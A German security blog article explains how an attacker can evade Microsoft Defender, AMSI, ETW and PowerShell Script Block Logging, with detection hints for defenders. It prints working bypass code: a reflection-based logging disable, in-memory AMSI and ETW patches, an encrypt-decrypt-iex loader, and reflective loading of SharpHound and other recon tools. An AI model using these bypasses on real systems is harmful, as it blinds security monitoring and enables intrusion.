Microsoft Cloud Access Tokens
Marius Elmiger
Eine Untersuchung von AV-Umgehungstechniken
In diesem Artikel wird eine Reihe von Antivirus-Evasion-Techniken untersucht, die ein Angreifer einsetzen könnte, um die Entdeckung zu vermeiden, während dem Einsatz von PowerShell. Der Einblick in diese potenziellen Umgehungsmethoden und ihre Funktionsweise kann Verteidigern dabei helfen, die Einschränkungen bei der Überwachung von PowerShell zu verstehen und folglich ihre Verteidigung zu stärken. Da die vorgestellten Umgehungstechniken nicht neu sind, kann es sein dass eine neuzeitliches Endpoint Detection and Response (EDR) Lösung die Techniken als bösartig erkennt, die Ausführung aber trotzdem erlaubt.
AV-Umgehungstechniken werden häufig in zwei Hauptkategorien unterteilt: Statische und dynamische. Das Anwenden statischer Umgehung hat das Ziel, den Inhalt in der Malware-Datei so zu ändern, dass der Hash oder die Prüfsumme geändert wird, um eine Identifizierung durch die signaturbasierte Erkennung durch ein AV weniger wahrscheinlich zu machen. Die signaturbasierte Erkennung kann durch Ausprobieren oder einen systematischen Ansatz umgangen werden. Letzteres erfordert das Reverse Engineering der Virendefinitionsdateien, um zu verstehen, wie ein bestimmtes AV bösartige Muster erkennt. Dynamische Umgehung verwendet verschiedene Techniken, um die Erkennung zu vermeiden, abhängig davon, wie die Malware ausgeführt wird. Ein Beispiel sind moderne AVs, die Dateien in Sandboxes detonieren, um das Verhalten dynamisch zu analysieren. Dynamische AV-Umgehungstechniken adressieren solche Erkennungsmethoden, indem sie den Payload in einer Sandbox verstecken oder nicht ausführen. Die folgenden AV-Umgehungstechniken werden häufig verwendet:
Neben dem AV können Defender verschiedene Windows-Sicherheitsfunktionen nutzen, um potenzielle Sicherheitsbedrohungen auf ihren Systemen zu überwachen und zu erkennen.
Durch die Nutzung dieser Windows-Sicherheitsfunktionen können Verteidiger ihre Systeme auf potenzielle Sicherheitsbedrohungen überwachen und verdächtige Aktivitäten schnell erkennen und darauf reagieren. AMSI, PowerShell Script Block Logging und ETW bieten Verteidigern leistungsstarke Tools zur Überwachung von Skripten und Systemereignissen, zur Erkennung verdächtiger Aktivitäten und zur effizienten Untersuchung von Sicherheitsvorfällen.
Für diesen Artikel haben wir eine einfache Testmethodik, ein PowerShell-Skript zur AV-Umgehung und eine kleine Laborumgebung erstellt. Die AV-Umgehungsstrategien zielten darauf ab, Microsoft Defender AV, ETW und PowerShell Script Block Logging auf einem Windows 10 22H2 zu umgehen, sowohl mit als auch ohne Internetverbindung. Wir testeten die AV-Umgehungstechniken zunächst auf einem Rechner ohne Internetverbindung. Sobald wir Vertrauen in die erfolgreiche Umgehung der Abwehrmechanismen gewonnen hatten, wurden die Tests auf dem Rechner mit Internetverbindung wiederholt. Zu Beginn der Tests kann die automatische Probenübermittlung im Defender AV-Menü deaktiviert werden, um zu vermeiden, dass der PoC nach dem ersten Versuch blockiert wird.
Die folgende Abbildung zeigt die einzelnen Schritte, die das Skript PlansRunner.ps1 nacheinander ausführt.
Der PoC-Code ist im Repository Plans With In Plans abgelegt.
Das Skript sollte wie folgt mit dem Passwortparameter (arg1) gestartet werden:
Import-Module .\PlansRunner.ps1 | Update-AVSignature -arg1 <password>
oder wenn die PowerShell-Ausführungsrichtlinie auf “eingeschränkt” gesetzt ist, zum Beispiel mit:
Get-Content .\PlansRunner.ps1 | out-string | iex Update-AVSignature -arg1 <password>
Wenn das PowerShell Script Block Logging Feature aktiviert ist, wird die Ausführung dieses Skripts im Microsoft-Windows-PowerShell/Operational Eventlog aufgezeichnet. Ausserdem könnte AMSI einen Teil des Codes blockieren. Daher mussten in diesem Stadium Verschleierungstechniken eingesetzt werden. Die erste Verschleierungsmassnahme bestand darin, den Code in der Datei PlansRunner.ps1 unter auskommentierten gültigem MSFT Defender-Skriptblock-Code zu verstecken.
Zweitens musste der Teil, der das Script Block Logging deaktiviert, durch Modifizierung von Byte-Strings und der Codestruktur verschleiert werden, um Signatur und AMSI-basierte Erkennung zu umgehen.
[Ref].Assembly."G`etType"("S`ystem.Management.Automation.ScriptBlock")."GetFie`ld"("signatures","NonPub"+"lic,static").SetValue($null, (New-Object 'System.Collections.Generic.HashSet[string]')); $Logging = [Ref].Assembly."G`etType"("System.Management.Automation.Utils")."GetFie`ld"("cachedGroupPolicySettings","NonPu"+"blic,Static").GetValue($null);$location = 'HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLo'+'gging';$value1 = "ScriptBlockLo'+'gging";$value2 = "EnableScri'+'ptBlockInvoca'+'tionLogging";$Logging[$location] = @{};$Logging[$location].Add($value1,"0");$Logging[$location].Add($value2,"0");
Der obige Code setzt die Signaturenvariable auf ein leeres Hashset und den von PowerShell zwischengespeicherten Wert von EnableScriptBlockLogging und EnableScriptBlockInvocationLogging, um die Protokollierung unabhängig von den aktuell angewendeten Gruppenrichtlinieneinstellungen zu deaktivieren. Nach der Ausführung dieses Befehls werden keine PowerShell-Befehle im aktuellen PowerShell-Prozess unter Microsoft-Windows-PowerShell/Operational Eventlog aufgezeichnet. Diese Technik wurde dem Blogbeitrag von Adam Chester Exploring PowerShell AMSI and Logging Evasion entnommen.
Nach der Deaktivierung der PowerShell-Skriptblockprotokollierungsfunktion wird die Datei data.txt gelesen und der erste Skriptblock entschlüsselt.
$content = Get-Content -Path "data.txt" -Raw;$strings = $content -split ";";foreach ($string in $strings) {$data = [Convert]::FromBase64String($string);$data = ModelWrapper $arg1 $data;$data = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String([System.Text.Encoding]::UTF8.GetString($data)));iex $data}
Dieser Code liest den Inhalt der Datei data.txt als eine einzige Zeichenkette und speichert ihn in der Variablen $content. Der Inhalt wird dann in mehrere Abschnitte aufgeteilt, wobei das Semikolon als Trennzeichen verwendet wird. Der Code beginnt dann mit einer Schleife und durchläuft jede der Zeichenketten. Schliesslich entschlüsselt der ModelWrapper, eine minimale RC4-Cypher-Stream-Funktion, die Zeichenfolge und führt den resultierenden Code als PowerShell-Skript aus.
Um die genannten Umgehungstechniken zu erkennen, sollte die Änderung der Zeichenketten EnableScriptBlockLogging und EnableScriptBlockInvocationLogging überwacht werden. In dem Skript wurden keine verdächtigen Zeichenfolgen verwendet. PowerShell Script Block Logging kennzeichnet daher das PowerShell-Skript nur mit dem Level Verbose unter Microsoft-Windows-PowerShell/Operational Eventlog. Zusätzlich zur PowerShell-Skriptblockprotokollierung kann die PowerShell Enhanced Logging aktiviert werden. Aber auch diese Protokollierungstechnik kann umgangen werden, wie im folgenden PowerShell Enhanced Logging Capabilities Bypass Blogbeitrag von Jann Lemm beschrieben ist.
In diesem Schritt wird überprüft, ob die Skriptblockprotokollierung deaktiviert ist.
write-host " ";write-host "SSBtdXN0IG5vdCBmZWFyLiBGZWFyIGlzIHRoZSBtaW5kLWtpbGxlci4";write-host " ";$log = Get-WinEvent -filterhashtable @{logname="Microsoft-Windows-PowerShell/Operational";id=4104} -erroraction 'silentlycontinue' | Where {$_.Message -like "*SSBtdXN0IG5vdCBmZWFyLiBGZWFyIGlzIHRoZSBtaW5kLWtpbGxlci4*"};if($log){ exit; }
Der Code beginnt mit write-host-Befehlen, die einen codierten String ausgeben. Anschliessend werden die Windows-Ereignisprotokolle unter Microsoft-Windows-PowerShell/Operational abgefragt und nach einem Ereignis gesucht, dessen Nachricht den codierten String SSBtdXN0IG5vdCBmZWFyLiBGZWFyIGlzIHRoZSBtaW5kLWtpbGxlci4 enthält. Wenn das Ereignis gefunden wird, beendet das Skript. Adam Chester verwendete diese Technik in seinem oben erwähnten Blogbeitrag.
In diesem Schritt deaktiviert das Skript die AMSI-Funktionalität und die PowerShell ETW-Protokollierung. Als Ersatz für den eigentlichen, stark verschleierten Code im Skript wird der folgende unverschleierte Code zur Erläuterung des Codes verwendet.
$libPath = "kernelbase.dll" Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class Syscalls { [DllImport("$libpath", SetLastError = true)] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("$libpath", SetLastError = true)] public static extern IntPtr LoadLibrary(string libPath); [DllImport("$libpath", SetLastError = true)] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); } "@ $amsiScanBufferAddress = [Syscalls]::GetProcAddress([Syscalls]::LoadLibrary("amsi.dll"), "AmsiScanBuffer") [Syscalls]::VirtualProtect($amsiScanBufferAddress, [UIntPtr]::new(0x5), 0x40, [Ref]0) [System.Runtime.InteropServices.Marshal]::Copy([Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [UInt32]0x80, [UInt32]0xC3), 0, $amsiScanBufferAddress, 6) $LogProvider = [Ref].Assembly.GetType("System.Management.Automation.Tracing.PSEtwLogProvider") $Provider = $LogProvider.GetField("etwProvider", [System.Reflection.BindingFlags]::NonPublic -bor [System.Reflection.BindingFlags]::Static).GetValue($null) [System.Diagnostics.Eventing.EventProvider].GetField("m_eventProviderEnabled", [System.Reflection.BindingFlags]::NonPublic -bor [System.Reflection.BindingFlags]::Static).SetValue($Provider, 0)
Der Code ändert das Verhalten der Funktion AmsiScanBuffer in der Bibliothek amsi.dll, indem er ihre Anweisungen durch neuen Code ersetzt. Dies wird durch die Verwendung von Speichermanipulationstechniken erreicht. Das Endergebnis ist, dass jeder Aufruf von AmsiScanBuffer aus der aktuellen PowerShell-Sitzung immer erfolgreich zurückgegeben wird, wodurch jegliche Malware-Scans, die AMSI durchführen könnte, umgangen werden. Diese Technik wurde von Tal Lieberman in seinem Blackhat-Vortrag The Rise and Fall of AMSI vorgestellt. Der zweite Teil des Codes deaktiviert die ETW-Protokollierung in PowerShell, indem er den ETW-Provider abruft, die mit dem PowerShell-Protokollanbieter verknüpft ist, und das Feld m_enabled auf 0 setzt. Dadurch wird die ETW-Protokollierung in PowerShell deaktiviert. Der Microsoft-Windows-DotNETRuntime ETW-Anbieter protokolliert jedoch weiterhin Ereignisse von .NET-Anwendungen.
Der letzte Codeblock prüft, ob ein AMSI-Fehler aus den vorherigen Aktionen protokolliert wurde. Das Skript wird beendet, wenn ein Ereignis in der Microsoft-Windows-PowerShell/Operational gefunden wird. Der zusätzliche Teil dieses Schritts ist die Ausführung der drei verschlüsselten PE-Dateien (readme{1-3}.txt) und einer verschlüsselten PowerShell-Datei (readme4.txt), dem eigentlichen Grund für die vorherigen Umgehungstechniken.
# Run S h a r p h o u n d $application = "$($env:USERPROFILE)\Documents\readme2.txt" $encryptedData = [System.IO.File]::ReadAllBytes($application) $OutputString = ModelWrapper $arg1 $encryptedData $command = "-d test.domain.ch -c DCOnly" $app = "Sharphound.Program" $method = "Main" $Assembly = [Reflection.Assembly]::Load($OutputString) $Assembly.GetType($app).GetMethod($method).Invoke($Null, @(,$command.Split(" ")))
Die Readme-Dateien sind, wie die oben beschriebenen Anweisungsdateien, RC4-verschlüsselt. Die Funktion ModelWrapper vom PlansRunner.ps1 Skript entschlüsselt die Readme-Dateien und speichert den Inhalt in der Variablen $OutputString. Anschliessend lädt das Skript den Ausgabestring als Assembly mithilfe der Reflection-Assembly-Klasse und lädt die angegebene Methode für die PE. Schliesslich ruft das Skript die definierte Methode auf und übergibt ein Befehlszeilenargument. Für den Test wurden die folgende PE und PowerShell-Datei erfolgreich auf einem Offline- und einem Online-Windows 10 22H2-Client mit einer aktuellen Defender AV-Signatur ausgeführt:
readme1.txt (etw.exe): Die etw.exe deaktiviert den Microsoft-Windows-DotNETRuntime ETW-Anbieter in der aktuellen PowerShell-Sitzung.
using System; using System.Runtime.InteropServices; namespace Etw { public class Program { [DllImport("kernel32")] private static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] private static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); public static void PatchEtw() { IntPtr hNtdll = LoadLibrary("ntdll.dll"); IntPtr pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite"); byte[] patch = { 0xc3 }; _ = VirtualProtect(pEtwEventWrite, (UIntPtr)patch.Length, 0x40, out uint oldProtect); Marshal.Copy(patch, 0, pEtwEventWrite, patch.Length); _ = VirtualProtect(pEtwEventWrite, (UIntPtr)patch.Length, oldProtect, out uint _); Console.WriteLine("ETW patched"); } public static void Main(string[] args) { PatchEtw(); } } }
Die C#-Konsolenanwendung lädt zunächst die Bibliothek ntdll.dll und ermittelt die Adresse der Funktion EtwEventWrite mit GetProcAddress. Dann ersetzt sie das erste Byte der Funktion durch einen ret-Befehl (0xc3), wodurch die Microsoft-Windows-DotNETRuntime ETW-Ereignisprotokollierung effektiv deaktiviert wird. Die Technik wurde aus den folgenden Blogbeiträgen Maelstrom: Working with AMSI and ETW for Red and Blue und Hiding Your .NET ETW entnommen.
Um zu überprüfen, ob Microsoft-Windows-DotNETRuntime ETW erfolgreich deaktiviert wurde, wurde das Tool Silketw von Mandiant verwendet.
{"ProviderGuid":"e13c0d23-ccbc-4e12-931b-d9cc2eee27e4","YaraMatch":[],"ProviderName":"Microsoft-Windows-DotNETRuntime","EventName":"Loader/DomainModuleLoad","Opcode":45,"OpcodeName":"DomainModuleLoad","TimeStamp":"2023-03-31T13:21:32.7172447+02:00","ThreadID":7532,"ProcessID":5236,"ProcessName":"powershell","PointerSize":8,"EventDataLength":44,"XmlEventData":{"ModuleID":"140’711’887’353’144","Reserved1":"0","ModuleNativePath":"","AppDomainID":"2’020’932’991’376","ActivityID":"48b6074463110001acefd3481163d901","FormattedMessage":"ModuleID=140’711’887’353’144;\r\nAssemblyID=2’021’372’324’352;\r\nAppDomainID=2’020’932’991’376;\r\nModuleFlags=Manifest;\r\nModuleILPath=0;ModuleNativePath=etw;\r\nClrInstanceID= ","MSec":"3382.9995","ModuleFlags":"Manifest","AssemblyID":"2’021’372’324’352","PID":"5236","ModuleILPath":"etw","TID":"7532","ProviderName":"Microsoft-Windows-DotNETRuntime","PName":"","ClrInstanceID":"37","EventName":"Loader/DomainModuleLoad"}}
Der obige Protokolleintrag war der letzte Eintrag, den der Microsoft-Windows-DotNETRuntime ETW-Provider aufgezeichnet hatte. Andere DotNet-Anwendungen, die nach der Ausführung der etw.exe ausgeführt werden, werden vom Windows-DotNETRuntime ETW-Provider nicht mehr protokolliert.
readme2.txt (sharphound.exe): SharpHound ist der offizielle data collector für BloodHound. Er ist in C# geschrieben und verwendet native Windows-API-Funktionen und LDAP-Namespace-Funktionen, um Daten von Domänencontrollern und domänenverbundenen Windows-Systemen zu sammeln. @_wald0, @CptJesus, und @harmj0y sind die Hauptautoren dieser Implementierung. SharpHound wurde aus dem folgenden Repository kompiliert: SharpHound. Für diesen Test wurde keine Verschleierung auf die Lösung angewendet.
readme3.txt (seatbelt.exe): Seatbelt ist ein C#-Projekt, das eine Reihe von sicherheitsorientierten Host-Survey-Sicherheitsprüfungen durchführt, die sowohl aus offensiver als auch aus defensiver Sicherheitsperspektive relevant sind. @harmj0y und @tifkin sind die Hauptautoren dieser Implementierung. Seatbelt wurde aus dem folgenden Repository kompiliert: Seatbelt. Für diesen Test wurde keine Verschleierung auf die Lösung angewendet.
readme4.txt (PrivescCheck.ps1): PrivescCheck zielt darauf ab, häufige Windows-Konfigurationsprobleme aufzuzählen, die zur lokalen Privilegienerweiterung ausgenutzt werden können. Ausserdem sammelt es verschiedene Informationen, die für eine Ausnutzung nützlich sein könnten. Das Skript stammt von @itm4n. PrivescCheck wurde aus dem folgenden Repository geklont: PrivescCheck. PrivescCheck.ps1 wurde mit dem Skript Build.ps1 erstellt. Dadurch werden die Befehle verschleiert. Trotzdem wird es Microsoft Defender als Malware erkannt, wenn es ohne AMSI-Bypass ausgeführt wird.
Dieser Artikel hat mehrere Techniken aufgezeigt, die Angreifer verwenden können, um die Erkennung mit PowerShell zu umgehen. Auch wenn diese Techniken nicht neu sind und ein gutes EDR sie als böswillig erkennen sollte, ist es für Verteidiger dennoch wichtig, sie zu verstehen und ihre Verteidigungsfähigkeiten gegen sie zu testen. Durch die Kenntnis der möglichen Umgehungstechniken und ihrer Funktionsweise können Verteidiger ausserdem die Grenzen ihrer Erkennungs- und Präventionsfähigkeiten besser verstehen und geeignete Massnahmen zur Verbesserung ihrer Abwehr ergreifen.
Das in diesem Artikel vorgestellte Proof-of-Concept-Skript zeigt eine Reihe von Umgehungstechniken, die verbessert, erweitert oder an verschiedene Programmiersprachen angepasst werden können. Um jedoch nicht nur ein AV, sondern auch ein EDR-System wie Microsoft Defender for Endpoint mit seinem speziellen DefenderApiLogger ETW-Provider zu umgehen, sind ausgefeiltere Umgehungstechniken erforderlich. Es sollte beachtet werden, dass das primäre Ziel der Umgehung von Sicherheitsmassnahmen nicht auf die erfolgreiche Ausführung von bösartigem Code beschränkt sein sollte, sondern auch darauf, sich der Erkennung zu entziehen.
Da sich die Bedrohungen ständig weiterentwickeln und immer ausgefeilter werden, ist es im Kampf gegen IT-Sicherheitsbedrohungen von entscheidender Bedeutung, auf dem Laufenden zu bleiben und die Verteidigungsstrategien kontinuierlich zu verbessern. Verteidiger sollten wachsam bleiben, ihre Verteidigungsmassnahmen regelmässig testen und proaktive Massnahmen ergreifen, um die Auswirkungen potenzieller Angriffe zu verhindern und abzuschwächen, zum Beispiel durch die in diesem Artikel beschriebenen Techniken.
Unsere Spezialisten kontaktieren Sie gern!
Marius Elmiger
Marius Elmiger
Marius Elmiger
Marius Elmiger
Unsere Spezialisten kontaktieren Sie gern!